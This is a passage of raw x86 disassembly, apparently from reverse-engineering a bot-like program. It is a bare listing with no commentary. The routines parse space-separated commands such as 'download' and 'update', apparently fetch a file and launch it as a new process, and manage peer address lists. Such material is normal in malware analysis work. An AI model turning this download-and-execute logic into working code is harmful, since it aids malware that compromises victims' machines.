sub_4062A6+9Dp var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_3C = byte ptr -3Ch var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 80h push ebx push esi push edi mov edi, ecx xor ebx, ebx lea ecx, [ebp+var_14] mov [ebp+var_18], edi mov [ebp+var_1], bl call sub_40DB48 lea ecx, [ebp+var_8] call sub_40DB48 push ebx push offset a2 ; "2~!" lea ecx, [ebp+var_8] call sub_40DBA2 push dword ptr [edi+70h] lea ecx, [ebp+var_8] call sub_40DBF8 push ebx mov esi, offset asc_41BCC0 ; "~!" push esi lea ecx, [ebp+var_8] call sub_40DBA2 push 23h lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 cmp [edi+79h], bl push ebx lea ecx, [ebp+var_8] jz short loc_403F5C push offset a1 ; "1" call sub_40DBA2 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 push [ebp+arg_0] lea ecx, [ebp+var_8] call sub_40DBF8 jmp short loc_403F66 ; --------------------------------------------------------------------------- loc_403F5C: ; CODE XREF: sub_403ED0+69j push offset a0 ; "0" call sub_40DBA2 loc_403F66: ; CODE XREF: sub_403ED0+8Aj push ebx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] push eax mov ecx, edi call sub_404905 test al, al jz loc_404133 lea ecx, [ebp+var_10] call sub_40DB48 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_14] push eax mov ecx, edi call sub_403A87 test al, al jz loc_40412B mov [ebp+var_2C], ebx mov [ebp+var_28], ebx loc_403FA3: ; CODE XREF: sub_403ED0+116j lea ecx, [ebp+var_C] call sub_40DB48 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax mov ecx, edi call sub_403632 cmp [ebp+var_C], ebx mov byte ptr [ebp+arg_0+3], al jz short loc_403FDB push [ebp+var_C] call sub_40CD83 cmp eax, ebx pop ecx jbe short loc_403FDB lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_2C] call sub_403EB3 loc_403FDB: ; CODE XREF: sub_403ED0+F0j ; sub_403ED0+FDj lea ecx, [ebp+var_C] call sub_40DB59 cmp byte ptr [ebp+arg_0+3], bl jnz short loc_403FA3 cmp [ebp+var_10], ebx jz loc_40411F push [ebp+var_10] call sub_40CD83 cmp eax, ebx pop ecx jbe loc_40411F mov esi, [ebp+var_28] cmp esi, ebx jbe loc_40411F push [ebp+var_10] call sub_40CE59 cmp [edi+74h], eax pop ecx mov [ebp+var_24], eax jge loc_40411F cmp esi, ebx jbe loc_404110 mov eax, [ebp+var_2C] mov [ebp+var_1C], eax mov [ebp+var_20], esi loc_404033: ; CODE XREF: sub_403ED0+237j mov ecx, [ebp+var_1C] push offset asc_41BC28 ; " " call sub_40DD00 mov esi, eax cmp dword ptr [esi+4], 2 mov [ebp+var_C], esi jz short loc_404058 lea ecx, [ebp+var_C] call sub_4022A0 jmp loc_404100 ; --------------------------------------------------------------------------- loc_404058: ; CODE XREF: sub_403ED0+179j mov edi, [esi] push offset aDownload ; "download" push dword ptr [edi] call sub_40CD44 test eax, eax pop ecx pop ecx jz short loc_40407E push offset aUpdate ; "update" push dword ptr [edi] call sub_40CD44 test eax, eax pop ecx pop ecx jnz short loc_4040F5 loc_40407E: ; CODE XREF: sub_403ED0+19Aj lea ecx, [ebp+arg_0] call sub_40DB48 mov eax, [esi] lea ecx, [ebp+arg_0] add eax, 4 push ecx push dword ptr [eax] call sub_4038BB test al, al pop ecx pop ecx jz short loc_4040ED push 40h lea eax, [ebp+var_7C] push ebx push eax mov [ebp+var_80], 44h call sub_40CCD9 add esp, 0Ch lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_80] push eax push ebx push ebx push ebx push ebx push ebx push ebx push ebx push [ebp+arg_0] call ds:dword_418124 test eax, eax setnz al cmp al, bl jz short loc_4040ED push offset aUpdate ; "update" push dword ptr [edi] call sub_40CD44 test eax, eax pop ecx pop ecx jnz short loc_4040ED mov ecx, [ebp+var_18] call sub_40389D loc_4040ED: ; CODE XREF: sub_403ED0+1CAj ; sub_403ED0+201j ... lea ecx, [ebp+arg_0] call sub_40DB59 loc_4040F5: ; CODE XREF: sub_403ED0+1ACj lea ecx, [ebp+var_C] call sub_4022A0 mov edi, [ebp+var_18] loc_404100: ; CODE XREF: sub_403ED0+183j add [ebp+var_1C], 4 dec [ebp+var_20] jnz loc_404033 mov eax, [ebp+var_24] loc_404110: ; CODE XREF: sub_403ED0+154j push eax lea ecx, [edi+84h] mov [edi+74h], eax call sub_403115 loc_40411F: ; CODE XREF: sub_403ED0+11Bj ; sub_403ED0+12Cj ... lea ecx, [ebp+var_2C] mov [ebp+var_1], 1 call sub_401F85 loc_40412B: ; CODE XREF: sub_403ED0+C7j lea ecx, [ebp+var_10] call sub_40DB59 loc_404133: ; CODE XREF: sub_403ED0+A8j lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_14] call sub_40DB59 mov al, [ebp+var_1] pop edi pop esi pop ebx leave retn 4 sub_403ED0 endp ; =============== S U B R O U T I N E ======================================= sub_40414D proc near ; CODE XREF: sub_4045DD+6Dp ; sub_4045DD+109p ... arg_0 = dword ptr 4 arg_4 = word ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi], eax mov ax, [esp+4+arg_4] mov [esi+4], ax call ds:dword_4180CC and dword ptr [esi+0Ch], 0 mov [esi+8], eax mov eax, esi pop esi retn 8 sub_40414D endp ; =============== S U B R O U T I N E ======================================= sub_404172 proc near ; CODE XREF: sub_40444C+Ep ; sub_4049A1+AEp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx jmp short loc_404187 ; --------------------------------------------------------------------------- loc_40417C: ; CODE XREF: sub_404172+18j push 3E8h call ds:dword_4180C8 loc_404187: ; CODE XREF: sub_404172+8j cmp [esi+8], edi jg short loc_40417C pop edi pop esi retn 4 sub_404172 endp ; =============== S U B R O U T I N E ======================================= sub_404191 proc near ; CODE XREF: sub_403389+124p ; sub_403389+145p ... arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esi] test ecx, ecx push edi mov edi, [esp+8+arg_0] jz short loc_4041A9 cmp edi, ecx jz short loc_4041A9 mov eax, [ecx] push 1 call dword ptr [eax] loc_4041A9: ; CODE XREF: sub_404191+Cj ; sub_404191+10j mov [esi], edi mov eax, edi pop edi pop esi retn 4 sub_404191 endp ; =============== S U B R O U T I N E ======================================= sub_4041B2 proc near ; CODE XREF: sub_40444C+34p ; sub_40444C+60p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov ebx, ecx push edi lea eax, [ebx+4] push eax call ds:dword_4180E8 mov eax, [esp+10h+arg_0] mov ebp, [eax] mov edi, [eax+8] mov esi, [eax+4] push eax call sub_40D0B6 test esi, esi pop ecx jz short loc_4041DC mov [esi+8], edi loc_4041DC: ; CODE XREF: sub_4041B2+25j test edi, edi jz short loc_4041E5 mov [edi+4], esi jmp short loc_4041E7 ; --------------------------------------------------------------------------- loc_4041E5: ; CODE XREF: sub_4041B2+2Cj mov [ebx], esi loc_4041E7: ; CODE XREF: sub_4041B2+31j pop edi pop esi mov eax, ebp pop ebp pop ebx retn 4 sub_4041B2 endp ; =============== S U B R O U T I N E ======================================= sub_4041F0 proc near ; CODE XREF: sub_404205+Ap ; sub_4045DD+40p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 46F1D93Eh push [esp+4+arg_4] push [esp+8+arg_0] call sub_405E2D retn 8 sub_4041F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404205 proc near ; CODE XREF: sub_404552+Bp ; sub_406BE5+9Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push [ebp+arg_4] push [ebp+arg_0] call sub_4041F0 mov esi, eax test esi, esi jz short loc_404231 mov eax, [esi] push 0 push 1 lea ecx, [ebp+arg_4+3] push ecx mov ecx, esi mov byte ptr [ebp+arg_4+3], 4Bh call dword ptr [eax+8] mov eax, esi jmp short loc_404233 ; --------------------------------------------------------------------------- loc_404231: ; CODE XREF: sub_404205+13j xor eax, eax loc_404233: ; CODE XREF: sub_404205+2Aj pop esi pop ebp retn 8 sub_404205 endp ; =============== S U B R O U T I N E ======================================= sub_404238 proc near ; CODE XREF: sub_404552+17p ; sub_4045DD+8Bp arg_0 = dword ptr 4 push ebx push esi push edi mov esi, ecx lea edi, [esi+54h] push edi call ds:dword_4180DC lea ecx, [esi+6Ch] xor ebx, ebx cmp [ecx], ebx jnz short loc_40425B push [esp+0Ch+arg_0] call sub_404191 mov bl, 1 loc_40425B: ; CODE XREF: sub_404238+16j push edi call ds:dword_4180E0 pop edi pop esi mov al, bl pop ebx retn 4 sub_404238 endp ; =============== S U B R O U T I N E ======================================= sub_40426A proc near ; CODE XREF: sub_40488C+37p ; sub_405675+241p ... push esi push edi mov esi, ecx lea edi, [esi+54h] push edi call ds:dword_4180DC push 0 lea ecx, [esi+6Ch] call sub_404191 push edi call ds:dword_4180E0 pop edi pop esi retn sub_40426A endp ; =============== S U B R O U T I N E ======================================= sub_40428C proc near ; CODE XREF: sub_4049A1+9p ; sub_4049A1+DCp ... push ebx push esi push edi mov esi, ecx lea edi, [esi+54h] push edi call ds:dword_4180DC cmp dword ptr [esi+6Ch], 0 push edi setnz bl call ds:dword_4180E0 pop edi pop esi mov al, bl pop ebx retn sub_40428C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042AF proc near ; CODE XREF: sub_404355+4Ap ; sub_404355+5Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi mov esi, ecx mov ecx, [ebp+arg_C] test ecx, ecx jnz short loc_4042EF push edi lea edi, [esi+54h] push edi call ds:dword_4180DC mov ecx, [esi+6Ch] test ecx, ecx jnz short loc_4042D3 or esi, 0FFFFFFFFh jmp short loc_4042E3 ; --------------------------------------------------------------------------- loc_4042D3: ; CODE XREF: sub_4042AF+1Dj push [ebp+arg_8] mov eax, [ecx] push [ebp+arg_4] push [ebp+arg_0] call dword ptr [eax+8] mov esi, eax loc_4042E3: ; CODE XREF: sub_4042AF+22j push edi call ds:dword_4180E0 mov eax, esi pop edi jmp short loc_4042FD ; --------------------------------------------------------------------------- loc_4042EF: ; CODE XREF: sub_4042AF+Bj push [ebp+arg_8] mov eax, [ecx] push [ebp+arg_4] push [ebp+arg_0] call dword ptr [eax+8] loc_4042FD: ; CODE XREF: sub_4042AF+3Ej pop esi pop ebp retn 10h sub_4042AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404302 proc near ; CODE XREF: sub_4047AC+21p ; sub_4047AC+5Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi mov esi, ecx mov ecx, [ebp+arg_C] test ecx, ecx jnz short loc_404342 push edi lea edi, [esi+54h] push edi call ds:dword_4180DC mov ecx, [esi+6Ch] test ecx, ecx jnz short loc_404326 or esi, 0FFFFFFFFh jmp short loc_404336 ; --------------------------------------------------------------------------- loc_404326: ; CODE XREF: sub_404302+1Dj push [ebp+arg_8] mov eax, [ecx] push [ebp+arg_4] push [ebp+arg_0] call dword ptr [eax+4] mov esi, eax loc_404336: ; CODE XREF: sub_404302+22j push edi call ds:dword_4180E0 mov eax, esi pop edi jmp short loc_404350 ; --------------------------------------------------------------------------- loc_404342: ; CODE XREF: sub_404302+Bj push [ebp+arg_8] mov eax, [ecx] push [ebp+arg_4] push [ebp+arg_0] call dword ptr [eax+4] loc_404350: ; CODE XREF: sub_404302+3Ej pop esi pop ebp retn 10h sub_404302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404355 proc near ; CODE XREF: sub_40488C+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push edi push [ebp+arg_4] mov edi, ecx call sub_40E38C push eax mov [ebp+var_4], eax call sub_40D0BB push 9 push [ebp+arg_4] mov esi, eax push [ebp+arg_0] lea eax, [ebp+var_4] push eax push esi call sub_40E306 add esp, 1Ch test eax, eax jnz short loc_4043B6 push [ebp+arg_8] lea eax, [ebp+arg_4] push eax push 4 lea eax, [ebp+var_4] push eax mov ecx, edi mov [ebp+arg_4], 1Eh call sub_4042AF push [ebp+arg_8] lea eax, [ebp+arg_4] push eax push [ebp+var_4] mov ecx, edi push esi call sub_4042AF loc_4043B6: ; CODE XREF: sub_404355+32j test esi, esi jz short loc_4043C1 push esi call sub_40D0B6 pop ecx loc_4043C1: ; CODE XREF: sub_404355+63j pop edi pop esi leave retn 0Ch sub_404355 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043C7 proc near ; CODE XREF: sub_4047AC+A1p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push 4 push dword ptr [eax] lea eax, [ebp+arg_0] push eax call sub_40CCF7 add esp, 0Ch push [ebp+arg_0] call ds:dword_4181B0 cmp eax, 7D000h jbe short loc_4043EF xor eax, eax loc_4043EF: ; CODE XREF: sub_4043C7+24j pop ebp retn 4 sub_4043C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043F3 proc near ; CODE XREF: sub_4049A1+C1p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi push 8 mov esi, ecx call sub_40D0BB pop ecx mov ecx, [ebp+arg_0] mov [eax+4], ecx lea ecx, [ebp+var_4] push ecx xor ecx, ecx push ecx push eax push offset sub_4151FE push ecx push ecx mov [eax], esi call ds:dword_4180BC push eax call ds:dword_4180A4 mov eax, [ebp+var_4] pop esi leave retn 4 sub_4043F3 endp ; =============== S U B R O U T I N E ======================================= sub_40442E proc near ; CODE XREF: sub_4049A1+102p push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_404449 mov ecx, edi call sub_409C66 push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_404449: ; CODE XREF: sub_40442E+8j pop edi pop esi retn sub_40442E endp ; =============== S U B R O U T I N E ======================================= sub_40444C proc near ; CODE XREF: sub_403DAE+2Dj ; sub_4045C1+3p push ebx push ebp push esi push edi mov edi, ecx push 0 mov dword ptr [edi], offset off_41BD3C call sub_404172 lea ebp, [edi+1Ch] mov esi, [ebp+0] test esi, esi jz short loc_40448B loc_404469: ; CODE XREF: sub_40444C+3Dj test esi, esi jz short loc_404471 mov eax, [esi] jmp short loc_404473 ; --------------------------------------------------------------------------- loc_404471: ; CODE XREF: sub_40444C+1Fj xor eax, eax loc_404473: ; CODE XREF: sub_40444C+23j push eax call sub_40D0B6 mov ebx, [esi+4] pop ecx push esi mov ecx, ebp call sub_4041B2 test ebx, ebx mov esi, ebx jnz short loc_404469 loc_40448B: ; CODE XREF: sub_40444C+1Bj lea ebp, [edi+24h] mov esi, [ebp+0] test esi, esi jz short loc_4044B7 loc_404495: ; CODE XREF: sub_40444C+69j test esi, esi jz short loc_40449D mov eax, [esi] jmp short loc_40449F ; --------------------------------------------------------------------------- loc_40449D: ; CODE XREF: sub_40444C+4Bj xor eax, eax loc_40449F: ; CODE XREF: sub_40444C+4Fj push eax call sub_40D0B6 mov ebx, [esi+4] pop ecx push esi mov ecx, ebp call sub_4041B2 test ebx, ebx mov esi, ebx jnz short loc_404495 loc_4044B7: ; CODE XREF: sub_40444C+47j lea ecx, [edi+6Ch] call sub_401205 mov esi, ds:dword_4180D8 lea eax, [edi+54h] push eax call esi lea eax, [edi+3Ch] push eax call esi mov ecx, edi pop edi pop esi pop ebp pop ebx jmp sub_4059C7 sub_40444C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044DC proc near ; CODE XREF: sub_4045DD+2Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, ecx call ds:dword_4180CC mov ebx, eax lea eax, [esi+3Ch] push eax mov [ebp+var_4], eax call ds:dword_4180DC lea edi, [esi+24h] mov esi, [edi] jmp short loc_40451A ; --------------------------------------------------------------------------- loc_404501: ; CODE XREF: sub_4044DC+40j mov eax, [esi] mov ecx, [ebp+arg_0] cmp ecx, [eax] jnz short loc_404513 movzx ecx, word ptr [eax+4] cmp [ebp+arg_4], ecx jz short loc_404520 loc_404513: ; CODE XREF: sub_4044DC+2Cj test esi, esi jz short loc_40453A mov esi, [esi+4] loc_40451A: ; CODE XREF: sub_4044DC+23j test esi, esi jnz short loc_404501 jmp short loc_40453A ; --------------------------------------------------------------------------- loc_404520: ; CODE XREF: sub_4044DC+35j sub ebx, [eax+8] cmp ebx, 0DBBA0h jbe short loc_40454E push eax call sub_40D0B6 pop ecx push esi mov ecx, edi call sub_4041B2 loc_40453A: ; CODE XREF: sub_4044DC+39j ; sub_4044DC+42j xor bl, bl loc_40453C: ; CODE XREF: sub_4044DC+74j push [ebp+var_4] call ds:dword_4180E0 pop edi pop esi mov al, bl pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_40454E: ; CODE XREF: sub_4044DC+4Dj mov bl, 1 jmp short loc_40453C sub_4044DC endp ; =============== S U B R O U T I N E ======================================= sub_404552 proc near ; CODE XREF: sub_40471F+43p ; sub_4062A6+4Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] mov esi, ecx push [esp+8+arg_0] call sub_404205 test eax, eax jz short loc_404570 push eax mov ecx, esi call sub_404238 jmp short loc_404572 ; --------------------------------------------------------------------------- loc_404570: ; CODE XREF: sub_404552+12j xor al, al loc_404572: ; CODE XREF: sub_404552+1Cj pop esi retn 8 sub_404552 endp ; =============== S U B R O U T I N E ======================================= sub_404576 proc near ; CODE XREF: sub_4047AC+47p ; sub_4047AC+B4p ... arg_0 = dword ptr 4 push esi mov esi, ecx cmp dword ptr [esi], 0 push edi jz short loc_404584 call sub_401F70 loc_404584: ; CODE XREF: sub_404576+7j mov edi, [esp+8+arg_0] push 1 push edi call sub_40CA2C test eax, eax pop ecx pop ecx mov [esi], eax jz short loc_40459B mov [esi+4], edi loc_40459B: ; CODE XREF: sub_404576+20j pop edi pop esi retn 4 sub_404576 endp ; =============== S U B R O U T I N E ======================================= sub_4045A0 proc near ; CODE XREF: sub_4047AC+7Bp ; sub_406BE5+E2p ... arg_0 = dword ptr 4 push esi mov esi, ecx call sub_401F70 mov eax, [esp+4+arg_0] mov ecx, [eax] mov [esi], ecx mov ecx, [eax+4] mov [esi+4], ecx and dword ptr [eax], 0 and dword ptr [eax+4], 0 pop esi retn 4 sub_4045A0 endp ; =============== S U B R O U T I N E ======================================= sub_4045C1 proc near ; DATA XREF: .rdata:off_41BD3Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40444C test [esp+4+arg_0], 1 jz short loc_4045D7 push esi call sub_40D0B6 pop ecx loc_4045D7: ; CODE XREF: sub_4045C1+Dj mov eax, esi pop esi retn 4 sub_4045C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045DD proc near ; DATA XREF: sub_404949+47o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push [ebp+arg_0] mov esi, ecx call sub_405AA1 test al, al jz loc_404700 push [ebp+var_8] mov ecx, esi push [ebp+var_C] call sub_4044DC test al, al jnz loc_404700 push edi push [ebp+var_8] mov ecx, esi push [ebp+var_C] call sub_4041F0 mov edi, eax test edi, edi jz loc_4046C8 lea ebx, [esi+3Ch] push ebx call ds:dword_4180DC push 10h call sub_40D0BB test eax, eax pop ecx jz short loc_404651 push [ebp+var_8] mov ecx, eax push [ebp+var_C] call sub_40414D jmp short loc_404653 ; --------------------------------------------------------------------------- loc_404651: ; CODE XREF: sub_4045DD+63j xor eax, eax loc_404653: ; CODE XREF: sub_4045DD+72j push eax lea ecx, [esi+1Ch] call sub_4151CB push ebx mov ebx, ds:dword_4180E0 call ebx push edi mov ecx, esi call sub_404238 test al, al jz short loc_4046A1 mov eax, [edi] push 0 push 1 lea ecx, [ebp+var_1] push ecx mov ecx, edi mov [ebp+var_1], 4Bh call dword ptr [eax+8] lea edi, [esi+3Ch] push edi call ds:dword_4180DC mov eax, [ebp+var_C] mov [esi+2Ch], eax mov ax, word ptr [ebp+var_8] push edi mov [esi+30h], ax call ebx jmp short loc_4046FF ; --------------------------------------------------------------------------- loc_4046A1: ; CODE XREF: sub_4045DD+92j call sub_40CF34 push 30h pop ecx cdq idiv ecx mov eax, [edi] push 0 push 1 lea ecx, [ebp+var_1] push ecx mov ecx, edi mov [ebp+var_1], dl call dword ptr [eax+8] mov eax, [edi] push 1 mov ecx, edi call dword ptr [eax] jmp short loc_4046FF ; --------------------------------------------------------------------------- loc_4046C8: ; CODE XREF: sub_4045DD+49j lea edi, [esi+3Ch] push edi call ds:dword_4180DC push 10h call sub_40D0BB test eax, eax pop ecx jz short loc_4046ED push [ebp+var_8] mov ecx, eax push [ebp+var_C] call sub_40414D jmp short loc_4046EF ; --------------------------------------------------------------------------- loc_4046ED: ; CODE XREF: sub_4045DD+FFj xor eax, eax loc_4046EF: ; CODE XREF: sub_4045DD+10Ej push eax lea ecx, [esi+24h] call sub_4151CB push edi call ds:dword_4180E0 loc_4046FF: ; CODE XREF: sub_4045DD+C2j ; sub_4045DD+E9j pop edi loc_404700: ; CODE XREF: sub_4045DD+1Cj ; sub_4045DD+31j cmp [ebp+arg_0], 0 jz short loc_40470F push [ebp+arg_0] call sub_40D0B6 pop ecx loc_40470F: ; CODE XREF: sub_4045DD+127j add esi, 8 push esi call ds:dword_4180E8 pop esi pop ebx leave retn 4 sub_4045DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40471F proc near ; CODE XREF: sub_4049A1+1Cp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov ebx, ecx call ds:dword_4180CC mov [ebp+var_4], eax lea eax, [ebx+3Ch] push eax mov [ebp+var_8], eax call ds:dword_4180DC mov edi, [ebx+1Ch] test edi, edi jz short loc_404790 loc_404746: ; CODE XREF: sub_40471F+6Fj test edi, edi jz short loc_40474E mov esi, [edi] jmp short loc_404750 ; --------------------------------------------------------------------------- loc_40474E: ; CODE XREF: sub_40471F+29j xor esi, esi loc_404750: ; CODE XREF: sub_40471F+2Dj inc dword ptr [esi+0Ch] cmp dword ptr [esi+0Ch], 2 jnb short loc_40476B movzx eax, word ptr [esi+4] push eax push dword ptr [esi] mov ecx, ebx call sub_404552 test al, al jnz short loc_404794 loc_40476B: ; CODE XREF: sub_40471F+38j mov eax, [ebp+var_4] and dword ptr [esi+0Ch], 0 push esi lea ecx, [ebx+24h] mov [esi+8], eax call sub_4151CB mov esi, [edi+4] push edi lea ecx, [ebx+1Ch] call sub_4041B2 test esi, esi mov edi, esi jnz short loc_404746 loc_404790: ; CODE XREF: sub_40471F+25j xor bl, bl jmp short loc_40479C ; --------------------------------------------------------------------------- loc_404794: ; CODE XREF: sub_40471F+4Aj mov eax, [ebp+var_4] mov [esi+8], eax mov bl, 1 loc_40479C: ; CODE XREF: sub_40471F+73j push [ebp+var_8] call ds:dword_4180E0 pop edi pop esi mov al, bl pop ebx leave retn sub_40471F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4047AC proc near ; CODE XREF: sub_40488C+2Ap var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push edi push [ebp+arg_4] lea eax, [ebp+var_C] push eax push 4 lea eax, [ebp+var_8] push eax mov edi, ecx mov [ebp+var_1], 0 mov [ebp+var_C], 1E0h call sub_404302 cmp eax, 4 jnz short loc_40483F mov eax, [ebp+var_8] lea ecx, [eax-1] cmp ecx, 7CFFEh ja short loc_40483F and [ebp+var_14], 0 and [ebp+var_10], 0 push esi inc eax push eax lea ecx, [ebp+var_14] call sub_404576 push [ebp+arg_4] mov esi, [ebp+var_14] lea eax, [ebp+var_C] push eax push [ebp+var_8] mov ecx, edi push esi call sub_404302 cmp eax, [ebp+var_8] jnz short loc_404833 xor eax, eax loc_404814: ; CODE XREF: sub_4047AC+72j cmp byte ptr [esi+eax], 0 jz short loc_404847 inc eax cmp eax, 4 jl short loc_404814 mov ecx, [ebp+arg_0] lea eax, [ebp+var_14] push eax call sub_4045A0 mov esi, [ebp+var_14] loc_40482F: ; CODE XREF: sub_4047AC+D5j mov [ebp+var_1], 1 loc_404833: ; CODE XREF: sub_4047AC+64j ; sub_4047AC+ABj ... test esi, esi jz short loc_40483E push esi call sub_40CCC5 pop ecx loc_40483E: ; CODE XREF: sub_4047AC+89j pop esi loc_40483F: ; CODE XREF: sub_4047AC+29j ; sub_4047AC+37j mov al, [ebp+var_1] pop edi leave retn 8 ; --------------------------------------------------------------------------- loc_404847: ; CODE XREF: sub_4047AC+6Cj lea eax, [ebp+var_14] push eax mov ecx, edi call sub_4043C7 test eax, eax mov [ebp+arg_4], eax jbe short loc_404833 mov edi, [ebp+arg_0] inc eax push eax mov ecx, edi call sub_404576 mov ecx, [ebp+var_8] mov eax, [edi] add ecx, 0FFFFFFFCh push ecx lea ecx, [esi+4] push ecx lea ecx, [ebp+arg_4] push ecx push eax call sub_412FA4 add esp, 10h test eax, eax jz short loc_40482F mov ecx, edi call sub_401F70 jmp short loc_404833 sub_4047AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40488C proc near ; CODE XREF: sub_4048D8+23p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov esi, ecx lea edi, [esi+54h] push edi call ds:dword_4180DC push [ebp+arg_C] mov ecx, esi push [ebp+arg_4] push [ebp+arg_0] call sub_404355 push [ebp+arg_C] mov ecx, esi push [ebp+arg_8] call sub_4047AC mov bl, al test bl, bl jnz short loc_4048C8 mov ecx, esi call sub_40426A loc_4048C8: ; CODE XREF: sub_40488C+33j push edi call ds:dword_4180E0 pop edi pop esi mov al, bl pop ebx pop ebp retn 10h sub_40488C endp ; =============== S U B R O U T I N E ======================================= sub_4048D8 proc near ; CODE XREF: sub_404905+17p ; sub_4064AA+86p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] mov eax, [esi] test eax, eax push edi mov edi, ecx jz short loc_4048ED push eax call sub_40CD83 pop ecx loc_4048ED: ; CODE XREF: sub_4048D8+Cj push [esp+8+arg_8] mov esi, [esi] push [esp+0Ch+arg_4] mov ecx, edi push eax push esi call sub_40488C pop edi pop esi retn 0Ch sub_4048D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404905 proc near ; CODE XREF: sub_4036C6+99p ; sub_403786+A7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push [ebp+arg_8] and [ebp+var_8], 0 and [ebp+var_4], 0 lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_4048D8 test al, al jz short loc_404934 push [ebp+var_8] mov ecx, [ebp+arg_4] call sub_40DC27 mov al, 1 jmp short locret_404945 ; --------------------------------------------------------------------------- loc_404934: ; CODE XREF: sub_404905+1Ej cmp [ebp+var_8], 0 jz short loc_404943 push [ebp+var_8] call sub_40CCC5 pop ecx loc_404943: ; CODE XREF: sub_404905+33j xor al, al locret_404945: ; CODE XREF: sub_404905+2Dj leave retn 0Ch sub_404905 endp ; =============== S U B R O U T I N E ======================================= sub_404949 proc near ; CODE XREF: sub_403CCB+9p arg_0 = dword ptr 4 push ebx push esi push edi push [esp+0Ch+arg_0] mov esi, ecx call sub_4059B5 mov ebx, ds:dword_4180D4 xor edi, edi mov dword ptr [esi], offset off_41BD3C mov [esi+8], edi mov [esi+18h], edi mov [esi+14h], edi mov [esi+10h], edi lea eax, [esi+3Ch] mov [esi+1Ch], edi mov [esi+20h], edi push eax mov [esi+24h], edi mov [esi+28h], edi call ebx lea eax, [esi+54h] push eax call ebx mov [esi+6Ch], edi mov [esi+10h], edi pop edi mov dword ptr [esi+18h], offset sub_4045DD mov [esi+14h], esi mov eax, esi pop esi pop ebx retn 4 sub_404949 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4049A1 proc near ; CODE XREF: sub_405675+12p ; sub_4062A6+31p var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push esi mov esi, ecx call sub_40428C test al, al jz short loc_4049BA mov al, 1 jmp loc_404AAB ; --------------------------------------------------------------------------- loc_4049BA: ; CODE XREF: sub_4049A1+10j push ebx mov ecx, esi call sub_40471F mov bl, al test bl, bl jnz loc_404AA8 push edi xor ebx, ebx push ebx call sub_40CFAE push eax call sub_40CF2A pop ecx pop 